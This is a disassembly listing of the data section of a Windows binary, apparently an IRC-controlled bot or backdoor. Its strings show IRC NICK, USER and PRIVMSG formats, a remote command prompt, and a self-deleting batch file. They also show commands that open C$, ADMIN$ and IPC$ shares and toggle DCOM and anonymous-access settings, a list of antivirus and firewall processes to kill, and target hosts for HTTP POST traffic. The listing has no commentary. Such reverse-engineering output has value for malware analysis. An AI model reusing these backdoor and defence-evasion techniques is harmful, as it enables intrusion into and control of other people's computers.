dword_438754	dd 47h			; DATA XREF: ___:00437C94o
dword_438758	dd 46h			; DATA XREF: ___:00437C90o
					; ___:00438008o
dword_43875C	dd 44h			; DATA XREF: ___:00437C8Co
dword_438760	dd 53h			; DATA XREF: ___:00437C88o
dword_438764	dd 50h			; DATA XREF: ___:00437C80o
dword_438768	dd 4Fh			; DATA XREF: ___:00437C7Co
dword_43876C	dd 55h			; DATA XREF: ___:00437C74o
word_438770	dw 59h			; DATA XREF: sub_41A19D+38r
					; ___:00437C70o
		align 4
dword_438774	dd 54h			; DATA XREF: ___:00437C6Co
dword_438778	dd 52h			; DATA XREF: ___:00437C68o
dword_43877C	dd 45h			; DATA XREF: ___:00437C64o
dword_438780	dd 57h			; DATA XREF: ___:00437C60o
dword_438784	dd 51h			; DATA XREF: ___:00437C5Co
dword_438788	dd 62h			; DATA XREF: ___:00437C50o
					; ___:00437F44o ...
dword_43878C	dd 78h			; DATA XREF: ___:00437C44o
					; ___:00437F9Co
dword_438790	dd 7Ah			; DATA XREF: ___:00437C40o
					; ___:00437FA4o ...
dword_438794	dd 6Ch			; DATA XREF: ___:00437C3Co
dword_438798	dd 68h			; DATA XREF: ___:00437C30o
					; ___:00437F5Co
dword_43879C	dd 67h			; DATA XREF: ___:00437C2Co
					; ___:00437F58o ...
dword_4387A0	dd 66h			; DATA XREF: ___:00437C28o
					; ___:00437F54o
dword_4387A4	dd 79h			; DATA XREF: ___:00437FA0o
dword_4387A8	dd 77h			; DATA XREF: ___:00437BFCo
					; ___:00437F98o
dword_4387AC	dd 4B43494Eh, 0A732520h, 0 ; DATA XREF:	sub_4177CF+B1o
dword_4387B8	dd 323334h		; DATA XREF: sub_4177CF+79o
dword_4387BC	dd 474E4F50h, 0A732520h, 0 ; DATA XREF:	sub_4177CF+61o
aNickSUserSHotm	db 'NICK %s',0Ah        ; DATA XREF: sub_4178BA+9Bo
		db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
		align 4
a__0		db '-|`_\{[]}',0        ; DATA XREF: sub_417ADD+BCo
					; sub_417ADD+175r ...
		align 4
		dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 3000005h, 10h, 18h, 1, 3 dup(0)
; ---------------------------------------------------------------------------
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
		dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41814C+72o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_418293+1Co
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418337+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_418359+140o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_418359+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_418359+48o
		align 4
unk_438934	db  2Dh	; -		; DATA XREF: sub_4184E1+9Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aOperatingSyste	db '- operating system is not supported',0
		align 4
unk_438964	db  2Dh	; -		; DATA XREF: sub_4184E1+8Fo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedWithErro	db '- failed with error code %d',0
		align 4
dword_43898C	dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
					; DATA XREF: sub_4184E1+5Co
		dd 65726165h, 64h
off_4389A8	dd offset aAdd		; DATA XREF: sub_4186C1+60r
					; sub_418A98+51r ...
					; "Add"
off_4389AC	dd offset aAdded	; DATA XREF: sub_4186C1+2Dr
					; sub_418A98+83r ...
					; "Added"
dword_4389B0	dd 0			; DATA XREF: sub_4186C1+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 10h
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 8
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 438A1Ch, 438A14h,	2, 438A08h, 4389FCh, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: ___:004389DCo
aStop_0		db 'Stop',0             ; DATA XREF: ___:004389D8o
		align 4
aStarted	db 'Started',0          ; DATA XREF: ___:004389D0o
aStart_0	db 'Start',0            ; DATA XREF: ___:004389CCo
		align 4
aListed		db 'Listed',0           ; DATA XREF: ___:004389C4o
		align 4
aList_1		db 'List',0             ; DATA XREF: ___:004389C0o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: ___:004389B8o
aDelete_0	db 'Delete',0           ; DATA XREF: ___:004389B4o
		align 4
aAdded		db 'Added',0            ; DATA XREF: ___:off_4389ACo
		align 4
aAdd		db 'Add',0              ; DATA XREF: ___:off_4389A8o
unk_438A70	db  2Dh	; -		; DATA XREF: sub_4186C1+67o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
unk_438A94	db  2Dh	; -		; DATA XREF: sub_4186C1+51o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 10h
unk_438AC0	db  2Dh	; -		; DATA XREF: sub_4186C1+33o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4187DD+12Co
		align 10h
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_4187DD:loc_4188F5o
		align 10h
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_4187DD:loc_4188EEo
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_4187DD:loc_4188E7o
		db 'the state of the service.',0
		align 10h
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_4187DD:loc_4188E0o
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_4187DD:loc_4188D9o
		db ' correct access rights.',0
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_4187DD:loc_4188D2o
		align 10h
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_4187DD:loc_4188CBo
		align 10h
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_4187DD:loc_4188C4o
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_4187DD:loc_4188BDo
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_4187DD:loc_4188B6o
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_4187DD:loc_41888Bo
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_4187DD:loc_418884o
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_4187DD:loc_41887Do
		db 'tServiceCtrlDispatcher.',0
		align 10h
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_4187DD:loc_418876o
		align 10h
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_4187DD+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_4187DD:loc_41884Bo
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_4187DD:loc_418841o
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_4187DD:loc_418837o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_4187DD:loc_41882Do
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_4187DD:loc_418823o
		align 10h
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_4187DD+3Co
		align 4
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_41895B+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_41895B:loc_418A27o
aStarting	db '   Starting',0      ; DATA XREF: sub_41895B:loc_418A20o
aStoping	db '    Stoping',0      ; DATA XREF: sub_41895B:loc_418A19o
aRunning	db '    Running',0      ; DATA XREF: sub_41895B:loc_418A12o
aContinuing	db ' Continuing',0      ; DATA XREF: sub_41895B:loc_418A0Bo
aPausing	db '    Pausing',0      ; DATA XREF: sub_41895B:loc_418A04o
aPaused_0	db '     Paused',0      ; DATA XREF: sub_41895B:loc_4189FDo
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_41895B+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_41895B+25o
		align 4
unk_439014	db  2Dh	; -		; DATA XREF: sub_418A98+ACo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 4
dword_439038	dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
					; DATA XREF: sub_418A98+8Ao
		dd 73252720h, 27h
unk_439054	db  2Dh	; -		; DATA XREF: sub_418A98+58o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 10h
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_418C8E+D0o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_418C8E+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_418C8E+B5o
unk_4390A0	db  2Dh	; -		; DATA XREF: sub_418C8E+76o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 4
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_418C8E+26o
		align 10h
unk_439100	db  2Dh	; -		; DATA XREF: sub_418DAF+B7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 4
unk_439128	db  2Dh	; -		; DATA XREF: sub_418DAF+95o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 4
unk_439158	db  2Dh	; -		; DATA XREF: sub_418DAF+6Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 4
unk_439178	db  2Dh	; -		; DATA XREF: sub_418EF6+3AFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_418EF6+385o
		align 10h
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_418EF6+35Ao
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_418EF6+32Fo
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_418EF6+304o
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_418EF6+2D9o
		align 10h
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_418EF6+2AEo
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_418EF6+283o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_418EF6+258o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_418EF6+22Do
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_418EF6+202o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_418EF6+1D7o
		align 4
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_418EF6+1ACo
		align 4
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_418EF6+181o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_418EF6+156o
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_418EF6+12Bo
aGuest		db 'Guest',0            ; DATA XREF: sub_418EF6:loc_419015o
		align 4
aUser_1		db 'User',0             ; DATA XREF: sub_418EF6:loc_41900Eo
		align 10h
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_418EF6:loc_419007o
		align 10h
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_418EF6+DAo
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_418EF6+AFo
		align 10h
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_418EF6+84o
		align 10h
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_418EF6+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_4192DF+14Fo
		align 4
unk_439334	db  2Dh	; -		; DATA XREF: sub_4192DF+F7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 10h
aS_4		db '  %S',0             ; DATA XREF: sub_4192DF+BEo
		align 4
unk_439368	db  2Dh	; -		; DATA XREF: sub_4192DF+7Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_4192DF+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_41945F:loc_41957Co
		align 10h
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_41945F:loc_419575o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_41945F:loc_41956Eo
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_41945F:loc_419567o
		align 4
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_41945F:loc_419560o
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_41945F:loc_419543o
		db 'ord policy requirement.)',0
		align 10h
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_41945F:loc_41953Co
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_41945F:loc_419535o
		align 10h
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_41945F+CFo
		db ' the domain.',0
		align 10h
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_41945F:loc_41950Ao
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_41945F:loc_419503o
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_41945F:loc_4194FCo
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41945F:loc_4194F2o
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_41945F+89o
		align 10h
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_41945F:loc_4194CCo
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_41945F:loc_4194C2o
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_41945F:loc_4194B8o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_41945F:loc_4194AEo
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_41945F:loc_4194A4o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_41945F+3Bo
		align 10h
dword_439670	dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
					; DATA XREF: sub_419593+ABo
		dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
		dd 5325h
unk_43969C	db  2Dh	; -		; DATA XREF: sub_419593+81o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aMessageSentSuc	db '- message sent successfully',0
		align 4
		dd 7530h
off_4396C8	dd offset aRegedit_exe	; DATA XREF: sub_4196BC+CBo
					; "regedit.exe"
		dd offset aMsconfig_exe	; "msconfig.exe"
		dd offset aNetstat_exe	; "netstat.exe"
		dd offset aMsblast_exe	; "msblast.exe"
		dd offset aZapro_exe	; "zapro.exe"
		dd offset aNavw32_exe	; "navw32.exe"
		dd offset aNavapw32_exe	; "navapw32.exe"
		dd offset aZonealarm_exe ; "zonealarm.exe"
		dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset dword_4397D0
		dd offset dword_4397C4
		dd offset dword_4397B8
		dd offset dword_4397AC
		dd offset dword_4397A0
		dd offset dword_439794
		dd offset dword_439784
		dd offset dword_439778
		dd offset dword_43976C
		dd offset dword_439760
		dd offset dword_439754
		dd offset dword_439744
		dd offset dword_439738
		dd offset dword_439728
dword_439728	dd 72313169h, 346E3435h, 6578652Eh, 0 ;	DATA XREF: sub_4196BC+ECo
					; ___:00439724o
dword_439738	dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:00439720o
dword_439744	dd 75643364h, 74616470h, 78652E65h, 65h	; DATA XREF: ___:0043971Co
dword_439754	dd 65746172h, 6578652Eh, 0 ; DATA XREF:	___:00439718o
dword_439760	dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:00439714o
dword_43976C	dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:00439710o
dword_439778	dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:0043970Co
dword_439784	dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ;	DATA XREF: ___:00439708o
dword_439794	dd 61656262h, 2E656C67h, 657865h ; DATA	XREF: ___:00439704o
dword_4397A0	dd 696E6550h, 2E323373h, 657865h ; DATA	XREF: ___:00439700o
dword_4397AC	dd 6B656574h, 2E736469h, 657865h ; DATA	XREF: ___:004396FCo
dword_4397B8	dd 4C42534Dh, 2E545341h, 657865h ; DATA	XREF: ___:004396F8o
dword_4397C4	dd 7663736Dh, 2E323362h, 657865h ; DATA	XREF: ___:004396F4o
dword_4397D0	dd 69737973h, 2E6F666Eh, 657865h ; DATA	XREF: ___:004396F0o
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: ___:004396ECo
		align 10h
aWincfg32_exeta	db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:004396E8o
aZonealarm_exe	db 'zonealarm.exe',0    ; DATA XREF: ___:004396E4o
		align 4
aNavapw32_exe	db 'navapw32.exe',0     ; DATA XREF: ___:004396E0o
		align 4
aNavw32_exe	db 'navw32.exe',0       ; DATA XREF: ___:004396DCo
		align 4
aZapro_exe	db 'zapro.exe',0        ; DATA XREF: ___:004396D8o
		align 10h
aMsblast_exe	db 'msblast.exe',0      ; DATA XREF: ___:004396D4o
aNetstat_exe	db 'netstat.exe',0      ; DATA XREF: ___:004396D0o
aMsconfig_exe	db 'msconfig.exe',0     ; DATA XREF: ___:004396CCo
		align 4
aRegedit_exe	db 'regedit.exe',0      ; DATA XREF: ___:off_4396C8o
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_4196BC+191o
		align 10h
unk_439880	db  2Dh	; -		; DATA XREF: sub_4198EB:loc_419972o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 4
unk_4398A4	db  2Dh	; -		; DATA XREF: sub_4198EB+80o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 4
unk_4398C8	db  2Dh	; -		; DATA XREF: sub_4198EB+19o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419A88+33o
unk_4398F8	db  2Dh	; -		; DATA XREF: sub_419B0F:loc_419C41o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess.',0Dh,0Ah,0
unk_439928	db  2Dh	; -		; DATA XREF: sub_419B0F+10Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 10h
unk_439950	db  2Dh	; -		; DATA XREF: sub_419B0F:loc_419BF5o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess',0Dh,0Ah,0
		align 10h
unk_439980	db  2Dh	; -		; DATA XREF: sub_419C64+194o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 4
unk_4399B4	db  2Dh	; -		; DATA XREF: sub_419C64+14Co
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteCommandP	db '- Remote Command Prompt',0
		align 4
off_4399D8	dd offset dword_439A10	; DATA XREF: sub_419E79+1B3o
					; sub_41A19D+17Ao
		align 10h
		dd offset dword_439A08
		align 8
off_4399E8	dd offset dword_439A04	; DATA XREF: sub_41A19D+1E3o
		dd offset dword_439A00
		dd offset dword_4399FC
		dd offset dword_4399F8
dword_4399F8	dd 5C3A44h		; DATA XREF: sub_419E79+217o
					; ___:004399F4o
dword_4399FC	dd 2444h		; DATA XREF: ___:004399F0o
dword_439A00	dd 5C3A43h		; DATA XREF: ___:004399ECo
dword_439A04	dd 2443h		; DATA XREF: ___:off_4399E8o
dword_439A08	dd 494D4441h, 244Eh	; DATA XREF: ___:004399E0o
dword_439A10	dd 24435049h, 0		; DATA XREF: ___:off_4399D8o
dword_439A18	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+2E5o
					; sub_41A19D+2DBo
aNetapi32_dllCo	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_439A48	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+2CFo
aNetworkSharesD	db '- Network shares deleted.',0
		align 10h
dword_439A70	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_41A0DBo
aFailedToDelete	db '- Failed to delete ',27h,'%S',27h,' share.',0
		align 4
dword_439A9C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+25Bo
aShareSDeleted_	db '- Share ',27h,'%S',27h,' deleted.',0
		align 10h
dword_439AC0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_41A048o
aFailedToDele_0	db '- Failed to delete ',27h,'%s',27h,' share.',0
		align 4
dword_439AEC	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+1C8o
aShareSDelete_0	db '- Share ',27h,'%s',27h,' deleted.',0
		align 10h
dword_439B10	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_419FABo
					; sub_41A19D:loc_41A2CBo
aAdvapi32_dllCo	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 10h
dword_439B40	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_419FA4o
aFailedToOpenIp	db '- Failed to open IPC$ Restriction registry key.',0
dword_439B7C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_419F86o
aRestrictedAcce	db '- Restricted access to the IPC$ Share.',0
		align 10h
dword_439BB0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+106o
aFailedToRestri	db '- Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_419E79+EDo
					; sub_41A19D+EDo
		align 10h
dword_439C00	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+91o
					; sub_41A19D+91o
aFailedToOpenDc	db '- Failed to open DCOM registry key.',0
dword_439C30	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 64204D4Fh
					; DATA XREF: sub_419E79:loc_419EE6o
		dd 62617369h, 2E64656Ch, 0
dword_439C50	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+66o
aDisableDcomFai	db '- Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_419E79+54o
					; sub_41A19D+54o
		align 10h
dword_439C80	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+2C3o
aNetworkSharesA	db '- Network shares added.',0
aC_0		db '%c:\',0             ; DATA XREF: sub_41A19D+230o
		align 4
aC_1		db '%c$',0              ; DATA XREF: sub_41A19D+219o
dword_439CB0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D:loc_41A33Co
					; sub_41A19D:loc_41A40Do
aFailedToAddSSh	db '- Failed to add ',27h,'%s',27h,' share.',0
dword_439CD8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+198o
					; sub_41A19D+269o
aShareSAdded_	db '- Share ',27h,'%s',27h,' added.',0
dword_439CF8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D:loc_41A2C4o
aFailedToOpen_0	db '- Failed to open IPC$ restriction registry key.',0
dword_439D34	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D:loc_41A2A6o
aUnrestrictedAc	db '- Unrestricted access to the IPC$ Share.',0
		align 4
dword_439D6C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+102o
aFailedToUnrest	db '- Failed to unrestrict access to the IPC$ Share.',0
		align 4
dword_439DAC	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 65204D4Fh
					; DATA XREF: sub_41A19D:loc_41A20Ao
		dd 6C62616Eh, 2E6465h
dword_439DC8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+66o
aEnableDcomFail	db '- Enable DCOM failed.',0
		align 4
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A4D1+E1o
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
dword_439E20	dd 234032Dh, 65657073h,	73657464h, 2D030274h, 75450220h
					; DATA XREF: sub_41A6AE+1A7o
		dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
		dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
		dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
		dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: sub_41A6AE+C4o
		align 4
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: sub_41A6AE+BDo
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: sub_41A6AE+B6o
		align 10h
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: sub_41A6AE+AFo
		align 10h
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41A6AE+A8o
		align 4
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41A6AE+A1o
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_41A6AE+9Ao
		align 4
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_41A6AE+93o
		align 10h
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_41A6AE+8Co
		align 10h
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_41A6AE+85o
		align 10h
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: sub_41A6AE+7Eo
		align 10h
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_41A6AE+77o
		align 10h
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_41A6AE+70o
		align 4
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_41A6AE+69o
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_41A6AE+62o
aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: sub_41A6AE+5Bo
		align 10h
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_41A6AE+54o
		align 4
aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_41A6AE+4Do
		align 10h
aWww_google_it	db 'www.google.it',0    ; DATA XREF: sub_41A6AE+46o
		align 10h
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: sub_41A6AE+3Fo
		align 10h
